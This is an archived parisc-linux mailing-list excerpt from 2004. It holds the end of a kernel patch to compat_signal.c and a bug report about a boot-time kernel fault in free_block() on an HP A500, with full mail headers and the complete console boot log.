RCS file: /var/cvs/linux-2.6/kernel/compat_signal.c,v
retrieving revision 1.4
diff -u -p -r1.4 compat_signal.c
--- kernel/compat_signal.c	30 Apr 2004 20:07:02 -0000	1.4
+++ kernel/compat_signal.c	27 Sep 2004 03:57:47 -0000
@@ -29,7 +29,6 @@
 #include <asm/siginfo.h>
 
 #ifndef HAVE_ARCH_COMPAT_COPY_SIGINFO_TO_USER
-
 int compat_copy_siginfo_to_user(compat_siginfo_t __user *to, siginfo_t *from)
 {
 	int err;
@@ -52,7 +51,8 @@ int compat_copy_siginfo_to_user(compat_s
         /* Always copy si_signo, si_errno, and si_code */
 	compat_from.si_signo = (compat_int_t)(from->si_signo);
 	compat_from.si_errno = (compat_int_t)(from->si_errno);
-	compat_from.si_code = (compat_int_t)(from->si_code);
+	/* si_code is only a (short) value, remove kernel bits. */
+	compat_from.si_code = (compat_int_t)(from->si_code & 0xffffUL);
         
 	err = __put_user(compat_from.si_signo, &to->si_signo);
 	err |= __put_user(compat_from.si_errno, &to->si_errno);
@@ -129,7 +129,9 @@ int compat_copy_siginfo_to_user(compat_s
 	}
 	return err;
 }
+#endif
 
+#ifndef HAVE_ARCH_COPY_SIGINFO_FROM_USER
 int compat_copy_siginfo_from_user(siginfo_t *to, compat_siginfo_t __user *from)
 {
 	int err;
@@ -202,5 +204,41 @@ int compat_copy_siginfo_from_user(siginf
 	}
 	return err;
 }
+#endif
 
+#ifndef HAVE_ARCH_COPY_SIGEVENT_FROM_USER
+int compat_copy_sigevent_from_user(sigevent_t *to, compat_sigevent_t __user *from)
+{
+	int err;
+	u64 scratch;
+	
+	/* copy sigval_t sigev_value 
+	 	int_t sival_int		(same)
+	 	uptr_t sival_ptr	(32 vs 64)*/
+	err = __get_user(to->sigev_value.sival_int, 
+	    		 &from->sigev_value.sival_int);
+	err |= __get_user(scratch, &from->sigev_value.sival_int);
+	to->sigev_value.sival_ptr = (u64 *)scratch;
+	
+	/* copy int_t sigev_signo 	(same)*/
+	err |= __get_user(to->sigev_signo, &from->sigev_signo);
+	
+	/* copy int_t sigev_notify	(same)*/
+	err |= __get_user(to->sigev_notify, &from->sigev_notify);
+
+	/* never copy _sigev_un padding */
+
+	/* copy int_t _tid 		(same),
+	   good_sigevent() uses this value of */
+	err |= __get_user(to->sigev_notify_thread_id, &from->sigev_notify_thread_id);
+	
+	/* XXX: Do not copy these, they aren't used by
+	   anyone. We would need to distinguish the uses of the union.
+	   copy _sigev_thread
+	  	uptr_t _function	(32 vs 64)
+	  	uptr_t _attribute	(32 vs 64)*/
+	
+	return err;
+}
 #endif
+
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] BUG 2.6.9-rc2-pa9 data page fault in free_block()
Date: Sun, 26 Sep 2004 23:33:55 -0600
Lines: 540
Approved: news@gmane.org
Message-ID: <20040927053355.GB12024@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623573 11207 80.91.229.3 (22 Nov 2014 02:32:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 12955 invoked by uid 65534); 27 Sep 2004 05:34:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx011) with SMTP; 27 Sep 2004 07:34:37 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 823093BE47; Sun, 26 Sep 2004 23:34:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32664-09; Sun, 26 Sep 2004 23:34:29 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 614103BE49; Sun, 26 Sep 2004 23:34:05 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8CD5D3BE43
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Sep 2004 23:34:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 32630-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Sep 2004 23:34:00 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id CF39E3BE34
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Sep 2004 23:33:59 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id CAA2B2980D2; Sun, 26 Sep 2004 23:33:58 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17040-06; Sun, 26 Sep 2004 23:33:55 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B9F8A298038; Sun, 26 Sep 2004 23:33:55 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22043

As promised, I built/booted -pa9 for a500 and it panic'd at
boot time with

Kernel Fault: Code=15 regs=000000001479c560 (Addr=00000001ffe3b618)
...
 IAOQ[0]: free_block+0xa8/0x1a0
 IAOQ[1]: free_block+0xac/0x1a0
 RP(r2): drain_array_locked+0xe4/0x118

Full console output appended.

Oh...I just noticed that's right after/while fusion driver initialized.
I couldn't get that work reliably on c3000 with 2.6.8.1 either.
So that's my first suspect. :^(

thanks,
grant



Firmware Version  40.50

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-2000, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           CoProcessor State  Cache Size
  Number                                       State              Inst    Data
  ---------  --------   ---------------------  -----------------  ------------
      0      440  MHz   Active                 Functional         512 KB   1 MB
      1      440  MHz   Idle                   Functional         512 KB   1 MB

  Central Bus Speed (in MHz)  :        111  
  Available Memory            :    5242880  KB
  Good Memory Required        :      11468  KB

   Primary boot path:    0/0/1/1.15          
   Alternate boot path:  0/0/2/1.15          
   Console path:         0/0/4/0.0           
   Keyboard path:        0/0/4/0.0           

 WARNING:  The non-destructive test bit was set, so memory was not tested 
            destructively.  Information only, no action required. 


---- Main Menu ---------------------------------------------------------------

     Command                           Description
     -------                           -----------
     BOot [PRI|ALT|<path>]             Boot from specified path
     PAth [PRI|ALT] [<path>]           Display or modify a path
     SEArch [DIsplay|IPL] [<path>]     Search for boot devices

     COnfiguration menu                Displays or sets boot values
     INformation menu                  Displays hardware information
     SERvice menu                      Displays service commands

     DIsplay                           Redisplay the current menu
     HElp [<menu>|<command>]           Display help for menu or command
     RESET                             Restart the system
----
Main Menu: Enter command or menu > bo
Interact with IPL (Y, N, or Cancel)?> y

Booting... 
Boot IO Dependent Code (IODC) revision 1


HARD Booted.
palo ipl 1.5 root@c3k Fri May 14 16:17:38 MDT 2004

Partition Start(MB) End(MB) Id Type
1               1     513   fd RAID
2             514     524   f0 Palo
3             525    2051   fd RAID
4            2052    8682   fd RAID

PALO(F0) partition contains:
    0/vmlinux64 4862163 bytes @ 0x20140000
Current command line:
3/boot/vmlinux-smp HOME=/ TERM=linux root=/dev/md2 console=ttyS0 pdcchassis=0
 0: 3/boot/vmlinux-smp
 1: HOME=/
 2: TERM=linux
 3: root=/dev/md2
 4: console=ttyS0
 5: pdcchassis=0

<#>    edit the numbered field
'b'    boot with this command line
'r'    restore command line
'l'    list dir
? 0
3/boot/vmlinux-2.6.9-rc2-pa9
Current command line:
3/boot/vmlinux-2.6.9-rc2-pa9 HOME=/ TERM=linux root=/dev/md2 console=ttyS0 pdcchassis=0
 0: 3/boot/vmlinux-2.6.9-rc2-pa9
 1: HOME=/
 2: TERM=linux
 3: root=/dev/md2
 4: console=ttyS0
 5: pdcchassis=0

<#>    edit the numbered field
'b'    boot with this command line
'r'    restore command line
'l'    list dir
? b

Command line for kernel: 'HOME=/ TERM=linux root=/dev/md2 console=ttyS0 pdcchassis=0 palo_kernel=3/boot/vmlinux-2.6.9-rc2-pa9'
Selected kernel: /boot/vmlinux-2.6.9-rc2-pa9 from partition 3
ELF64 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 3916160 mediaptr 0x1000
Segment 1 load 004c0000 size 288672 mediaptr 0x3be000
Segment 2 load 00508000 size 237702 mediaptr 0x405000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.9-rc2-pa9 (grundler@ios) (gcc version 3.3.4 (Debian 1:3.3.4-12)) #1 Sun Sep 26 19:37:38 PDT 2004
FP[0] enabled: Rev 1 Model 16
The 64-bit Kernel has started...
Determining PDC firmware type: 64 bit PAT.
model 00005cb0 00000491 00000000 00000001 23355fdc 100000f0 00000008 000000b2 000000b2
vers  00000300
CPUID vers 17 rev 10 (0x0000022a)
capabilities 0x1
model 9000/800/A500-44
This Machine has more memory ranges than we support!
Some memory will not be used!
Total Memory: 3840 Mb
Built 1 zonelists
Kernel command line: HOME=/ TERM=linux root=/dev/md2 console=ttyS0 pdcchassis=0 palo_kernel=3/boot/vmlinux-2.6.9-rc2-pa9
PID hash table entries: 4096 (order: 12, 131072 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes)
Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes)
Memory: 3932160k available
Mount-cache hash table entries: 256 (order: 0, 4096 bytes)
NET: Registered protocol family 16
Searching for devices...
Found devices:
1. Crescendo 440 at 0xfffffffffffa0000 [160] { 0, 0x0, 0x5cb, 0x00004 }
2. Crescendo 440 at 0xfffffffffffa2000 [162] { 0, 0x0, 0x5cb, 0x00004 }
3. Astro BC Runway Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x582, 0x0000b }
4. Elroy PCI Bridge at 0xfffffffffed30000 [0/0] { 13, 0x0, 0x782, 0x0000a }
5. Elroy PCI Bridge at 0xfffffffffed34000 [0/2] { 13, 0x0, 0x782, 0x0000a }
6. Elroy PCI Bridge at 0xfffffffffed38000 [0/4] { 13, 0x0, 0x782, 0x0000a }
7. Elroy PCI Bridge at 0xfffffffffed3c000 [0/6] { 13, 0x0, 0x782, 0x0000a }
8. Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x09b, 0x00009 }
CONFIG_SMP=n  ignoring additional CPUs
CPU: probe of parisc-94 failed with error 1
CPU(s): 1 x PA8500 (PCX-W) at 440.000000 MHz
SBA found Astro 2.1 at 0xfffffffffed00000
lba version TR4.0 (0x5) found at 0xfffffffffed30000
lba version TR4.0 (0x5) found at 0xfffffffffed34000
lba version TR4.0 (0x5) found at 0xfffffffffed38000
lba version TR4.0 (0x5) found at 0xfffffffffed3c000
SCSI subsystem initialized
unwind_init: start = 0x1039c1a0, end = 0x103badf0, entries = 7877
Performance monitoring counters enabled for Crescendo 440
Initializing Cryptographic API
Soft power switch support not available.
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 17 ports, IRQ sharing enabled
ttyS0 at MMIO 0xfffffffff8000000 (irq = 132) is a 16550A
ttyS1 at MMIO 0xfffffffff8000008 (irq = 132) is a 16550A
ttyS2 at MMIO 0xfffffffff8000010 (irq = 132) is a 16550A
ttyS3 at MMIO 0xfffffffff8005000 (irq = 133) is a 16550A
ttyS4 at MMIO 0xfffffffff8005008 (irq = 133) is a 16550A
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: loaded (max 8 devices)
Intel(R) PRO/1000 Network Driver - version 5.3.19-k2-NAPI
Copyright (c) 1999-2004 Intel Corporation.
tg3.c:v3.9 (August 30, 2004)
eth0: Tigon3 [partno(BCM95703A30U) rev 1002 PHY(5703)] (PCI:66MHz:64-bit) 10/100/1000BaseT Ethernet 00:10:18:04:15:c9
eth0: RXcsums[1] LinkChgREG[0] MIirq[0] ASF[0] Split[0] WireSpeed[1] TSOcap[1] 
sym0: <896> rev 0x7 at pci 0000:00:01.0 irq 129
sym0: No NVRAM, ID 7, Fast-40, LVD, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.1.18k
Using anticipatory io scheduler
  Vendor: HP        Model: D5989C            Rev: 1.05
  Type:   Processor                          ANSI SCSI revision: 02
scsi(0:0:5:0): Beginning Domain Validation
scsi(0:0:5:0): Ending Domain Validation
sym0:10: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
  Vendor: HP        Model: 9.10GB A 80-DC1B  Rev: DC1B
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:10:0: tagged command queuing enabled, command queue depth 16.
scsi(0:0:10:0): Beginning Domain Validation
sym0:10: asynchronous.
sym0:10: wide asynchronous.
sym0:10: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
scsi(0:0:10:0): Domain Validation skipping write tests
scsi(0:0:10:0): Ending Domain Validation
  Vendor: HP        Model: 9.10GB A 80-S1A0  Rev: S1A0
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:11:0: tagged command queuing enabled, command queue depth 16.
scsi(0:0:11:0): Beginning Domain Validation
sym0:11: wide asynchronous.
sym0:11: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 31)
scsi(0:0:11:0): Domain Validation skipping write tests
scsi(0:0:11:0): Ending Domain Validation
  Vendor: SEAGATE   Model: ST39102LC         Rev: 7C02
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:12:0: tagged command queuing enabled, command queue depth 16.
scsi(0:0:12:0): Beginning Domain Validation
sym0:12: wide asynchronous.
sym0:12: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
scsi(0:0:12:0): Domain Validation skipping write tests
scsi(0:0:12:0): Ending Domain Validation
  Vendor: SEAGATE   Model: ST39102LC         Rev: 7C03
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:13:0: tagged command queuing enabled, command queue depth 16.
scsi(0:0:13:0): Beginning Domain Validation
sym0:13: wide asynchronous.
sym0:13: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
scsi(0:0:13:0): Domain Validation skipping write tests
scsi(0:0:13:0): Ending Domain Validation
  Vendor: HP        Model: 9.10GB B 80-1205  Rev:     
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:14:0: tagged command queuing enabled, command queue depth 16.
scsi(0:0:14:0): Beginning Domain Validation
sym0:14: wide asynchronous.
sym0:14: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
scsi(0:0:14:0): Domain Validation skipping write tests
scsi(0:0:14:0): Ending Domain Validation
  Vendor: HP        Model: 9.10GB B 80-1205  Rev:     
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:15:0: tagged command queuing enabled, command queue depth 16.
scsi(0:0:15:0): Beginning Domain Validation
sym0:15: wide asynchronous.
sym0:15: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
scsi(0:0:15:0): Domain Validation skipping write tests
scsi(0:0:15:0): Ending Domain Validation
sym1: <896> rev 0x7 at pci 0000:00:01.1 irq 130
sym1: No NVRAM, ID 7, Fast-40, SE, parity checking
sym1: SCSI BUS has been reset.
sym1: SCSI BUS mode change from SE to SE.
sym1: SCSI BUS has been reset.
scsi1 : sym-2.1.18k
  Vendor: SEAGATE   Model: ST39173LC         Rev: 5912
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym1:15:0: tagged command queuing enabled, command queue depth 16.
scsi(1:0:15:0): Beginning Domain Validation
sym1:15: wide asynchronous.
sym1:15: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
scsi(1:0:15:0): Domain Validation skipping write tests
scsi(1:0:15:0): Ending Domain Validation
sym2: <875> rev 0x14 at pci 0000:00:02.0 irq 130
sym2: No NVRAM, ID 7, Fast-20, SE, parity checking
sym2: SCSI BUS has been reset.
scsi2 : sym-2.1.18k
sym3: <875> rev 0x14 at pci 0000:00:02.1 irq 131
sym3: No NVRAM, ID 7, Fast-20, SE, parity checking
sym3: SCSI BUS has been reset.
scsi3 : sym-2.1.18k
  Vendor: SEAGATE   Model: ST39173LC         Rev: 5912
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym3:15:0: tagged command queuing enabled, command queue depth 16.
scsi(3:0:15:0): Beginning Domain Validation
sym3:15: wide asynchronous.
sym3:15: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
scsi(3:0:15:0): Domain Validation skipping write tests
scsi(3:0:15:0): Ending Domain Validation
sym4: <1010-66> rev 0x1 at pci 0000:20:00.0 irq 256
sym4: No NVRAM, ID 7, Fast-80, LVD, parity checking
sym4: SCSI BUS has been reset.
scsi4 : sym-2.1.18k
  Vendor: HP        Model: 18.2GB C 80-H008  Rev: H008
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym4:0:0: tagged command queuing enabled, command queue depth 16.
scsi(4:0:0:0): Beginning Domain Validation
sym4:0: wide asynchronous.
sym4:0: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 30)
scsi(4:0:0:0): Ending Domain Validation
  Vendor: HP        Model: 18.2GB C 80-H008  Rev: H008
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym4:1:0: tagged command queuing enabled, command queue depth 16.
scsi(4:0:1:0): Beginning Domain Validation
sym4:1: wide asynchronous.
sym4:1: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 30)
scsi(4:0:1:0): Ending Domain Validation
  Vendor: HP 18.2G  Model: ST318452LC        Rev: HP05
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym4:2:0: tagged command queuing enabled, command queue depth 16.
scsi(4:0:2:0): Beginning Domain Validation
sym4:2: wide asynchronous.
sym4:2: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 31)
scsi(4:0:2:0): Ending Domain Validation
  Vendor: HP        Model: 18.2GB C 80-8C42  Rev:     
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym4:3:0: tagged command queuing enabled, command queue depth 16.
scsi(4:0:3:0): Beginning Domain Validation
sym4:3: wide asynchronous.
sym4:3: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 31)
scsi(4:0:3:0): Ending Domain Validation
  Vendor: HP        Model: D5989C            Rev: 1.03
  Type:   Processor                          ANSI SCSI revision: 02
scsi(4:0:5:0): Beginning Domain Validation
scsi(4:0:5:0): Ending Domain Validation
  Vendor: HP        Model: 18.2GB C 80-F612  Rev:     
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym4:8:0: tagged command queuing enabled, command queue depth 16.
scsi(4:0:8:0): Beginning Domain Validation
sym4:8: wide asynchronous.
sym4:8: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 31)
scsi(4:0:8:0): Ending Domain Validation
  Vendor: HP        Model: 36.4GB C 80-F612  Rev:     
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym4:9:0: tagged command queuing enabled, command queue depth 16.
scsi(4:0:9:0): Beginning Domain Validation
sym4:9: wide asynchronous.
sym4:9: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 31)
scsi(4:0:9:0): Ending Domain Validation
sym5: <1010-66> rev 0x1 at pci 0000:20:00.1 irq 257
sym5: No NVRAM, ID 7, Fast-80, LVD, parity checking
sym5: SCSI BUS has been reset.
scsi5 : sym-2.1.18k
st: Version 20040403, fixed bufsize 32768, s/g segs 256
SCSI device sda: 17773524 512-byte hdwr sectors (9100 MB)
SCSI device sda: drive cache: write through
 sda: sda1
Attached scsi disk sda at scsi0, channel 0, id 10, lun 0
SCSI device sdb: 17773524 512-byte hdwr sectors (9100 MB)
SCSI device sdb: drive cache: write through
 sdb: sdb1
Attached scsi disk sdb at scsi0, channel 0, id 11, lun 0
SCSI device sdc: 17781521 512-byte hdwr sectors (9104 MB)
SCSI device sdc: drive cache: write through
 sdc: unknown partition table
Attached scsi disk sdc at scsi0, channel 0, id 12, lun 0
SCSI device sdd: 17781521 512-byte hdwr sectors (9104 MB)
SCSI device sdd: drive cache: write through
 sdd: sdd1 sdd2
Attached scsi disk sdd at scsi0, channel 0, id 13, lun 0
SCSI device sde: 17773524 512-byte hdwr sectors (9100 MB)
SCSI device sde: drive cache: write through
 sde: sde1
Attached scsi disk sde at scsi0, channel 0, id 14, lun 0
SCSI device sdf: 17773524 512-byte hdwr sectors (9100 MB)
SCSI device sdf: drive cache: write through
 sdf: sdf1
Attached scsi disk sdf at scsi0, channel 0, id 15, lun 0
SCSI device sdg: 17781521 512-byte hdwr sectors (9104 MB)
SCSI device sdg: drive cache: write back
 sdg: sdg1 sdg2 sdg3 sdg4
Attached scsi disk sdg at scsi1, channel 0, id 15, lun 0
SCSI device sdh: 17781521 512-byte hdwr sectors (9104 MB)
SCSI device sdh: drive cache: write back
 sdh: sdh1 sdh2 sdh3 sdh4
Attached scsi disk sdh at scsi3, channel 0, id 15, lun 0
SCSI device sdi: 35566480 512-byte hdwr sectors (18210 MB)
SCSI device sdi: drive cache: write through
 sdi: sdi1 sdi2 sdi3
Attached scsi disk sdi at scsi4, channel 0, id 0, lun 0
SCSI device sdj: 35566480 512-byte hdwr sectors (18210 MB)
SCSI device sdj: drive cache: write through
 sdj: sdj1 sdj2
Attached scsi disk sdj at scsi4, channel 0, id 1, lun 0
SCSI device sdk: 35566480 512-byte hdwr sectors (18210 MB)
SCSI device sdk: drive cache: write through
 sdk: unknown partition table
Attached scsi disk sdk at scsi4, channel 0, id 2, lun 0
SCSI device sdl: 35566480 512-byte hdwr sectors (18210 MB)
SCSI device sdl: drive cache: write through
 sdl: sdl1
Attached scsi disk sdl at scsi4, channel 0, id 3, lun 0
SCSI device sdm: 35566480 512-byte hdwr sectors (18210 MB)
SCSI device sdm: drive cache: write through
 sdm: unknown partition table
Attached scsi disk sdm at scsi4, channel 0, id 8, lun 0
SCSI device sdn: 71132960 512-byte hdwr sectors (36420 MB)
SCSI device sdn: drive cache: write through
 sdn: unknown partition table
Attached scsi disk sdn at scsi4, channel 0, id 9, lun 0
Attached scsi generic sg0 at scsi0, channel 0, id 5, lun 0,  type 3
Attached scsi generic sg1 at scsi0, channel 0, id 10, lun 0,  type 0
Attached scsi generic sg2 at scsi0, channel 0, id 11, lun 0,  type 0
Attached scsi generic sg3 at scsi0, channel 0, id 12, lun 0,  type 0
Attached scsi generic sg4 at scsi0, channel 0, id 13, lun 0,  type 0
Attached scsi generic sg5 at scsi0, channel 0, id 14, lun 0,  type 0
Attached scsi generic sg6 at scsi0, channel 0, id 15, lun 0,  type 0
Attached scsi generic sg7 at scsi1, channel 0, id 15, lun 0,  type 0
Attached scsi generic sg8 at scsi3, channel 0, id 15, lun 0,  type 0
Attached scsi generic sg9 at scsi4, channel 0, id 0, lun 0,  type 0
Attached scsi generic sg10 at scsi4, channel 0, id 1, lun 0,  type 0
Attached scsi generic sg11 at scsi4, channel 0, id 2, lun 0,  type 0
Attached scsi generic sg12 at scsi4, channel 0, id 3, lun 0,  type 0
Attached scsi generic sg13 at scsi4, channel 0, id 5, lun 0,  type 3
Attached scsi generic sg14 at scsi4, channel 0, id 8, lun 0,  type 0
Attached scsi generic sg15 at scsi4, channel 0, id 9, lun 0,  type 0
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
NET: Registered protocol family 2
IP: routing cache hash table of 32768 buckets, 256Kbytes
TCP: Hash tables configured (established 524288 bind 65536)
NET: Registered protocol family 1
NET: Registered protocol family 17
md: Autodetecting RAID arrays.
md: autorun ...
md: considering sdh4 ...
md:  adding sdh4 ...
md: sdh3 has different UUID to sdh4
md: sdh1 has different UUID to sdh4
md:  adding sdg4 ...
md: sdg3 has different UUID to sdh4
md: sdg1 has different UUID to sdh4
md: created md3
md: bind<sdg4>
md: bind<sdh4>
md: running: <sdh4><sdg4>
raid1: raid set md3 active with 2 out of 2 mirrors
md: considering sdh3 ...
md:  adding sdh3 ...
md: sdh1 has different UUID to sdh3
md:  adding sdg3 ...
md: sdg1 has different UUID to sdh3
md: created md2
md: bind<sdg3>
md: bind<sdh3>
md: running: <sdh3><sdg3>
raid1: raid set md2 active with 2 out of 2 mirrors
md: considering sdh1 ...
md:  adding sdh1 ...
md:  adding sdg1 ...
md: created md1
md: bind<sdg1>
md: bind<sdh1>
md: running: <sdh1><sdg1>
raid1: raid set md1 active with 2 out of 2 mirrors
md: ... autorun DONE.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: 236k freed
INIT: version 2.86 booting
mount: wrong fs type, bad option, bad superblock on tmpfs,
       or too many mounted file systems
Activating swap.
Checking root file system...
fsck 1.35 (28-Feb-2004)
/dev/md2: clean, 51730/195456 files, 366872/390896 blocks
EXT3 FS on md2, internal journal
mount: wrong fs type, bad option, bad superblock on tmpfs,
       or too many mounted file systems
System time was Mon Sep 27 05:27:50 UTC 2004.
Setting the System Clock using the Hardware Clock as reference...
System Clock set. System local time is now Mon Sep 27 05:27:52 UTC 2004.
Cleaning up ifupdown...done.
Calculating module dependencies... done.
Loading modules...
    tulip
Linux Tulip driver version 1.1.13 (May 11, 2002)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 0061.
eth1: Digital DS21143 Tulip rev 65 at 0xfffffffff8006000, 00:30:6E:03:79:9F, IRQ 128.
    tg3
FATAL: Module tg3 not found.
    acenic
    ip_conntrack_ftp
ip_conntrack version 2.1 (8192 buckets, 65536 max) - 504 bytes per conntrack
All modules loaded.
Starting raid devices: 
done.
Checking all file systems...
fsck 1.35 (28-Feb-2004)
/dev/md3: clean, 331155/850304 files, 1402612/1697520 blocks
Setting kernel variables ...
... done.
Mounting local filesystems...
kjournald starting.  Commit interval 5 seconds
EXT3 FS on md3, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
mount: wrong fs type, bad option, bad superblock on none,
       or too many mounted file systems
/dev/md3 on /home type ext3 (rw,errors=remount-ro)
Cleaning /tmp /var/run /var/lock.
mount: wrong fs type, bad option, bad superblock on tmpfs,
       or too many mounted file systems
Initializing: /etc/network/ifstate.
Starting hotplug subsystem:
   input   
   input    [success]
   isapnp  
   isapnp   [success]
   net     
   net      [success]
   pci     
     tulip: already loaded
Fusion MPT base driver 3.01.16
Copyright (c) 1999-2004 LSI Logic Corporation
mptbase: Initiating ioc0 bringup
ioc0: 53C1030: Capabilities={Initiator}
mptbase: Initiating ioc1 bringup
ioc1: 53C1030: Capabilities={Initiator}
Backtrace:
 [<0000000010175344>] drain_array_locked+0xe4/0x118
 [<0000000010175424>] cache_reap+0xac/0x2a8
 [<00000000101584a8>] worker_thread+0x220/0x330
 [<000000001015df70>] kthread+0x130/0x140
 [<000000001010647c>] ret_from_kernel_thread+0x24/0x38


Kernel Fault: Code=15 regs=000000001479c560 (Addr=00000001ffe3b618)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001110000100001110 Not tainted
r00-03  0000000000000000 00000000105053c0 0000000010175344 00000000ffe67000
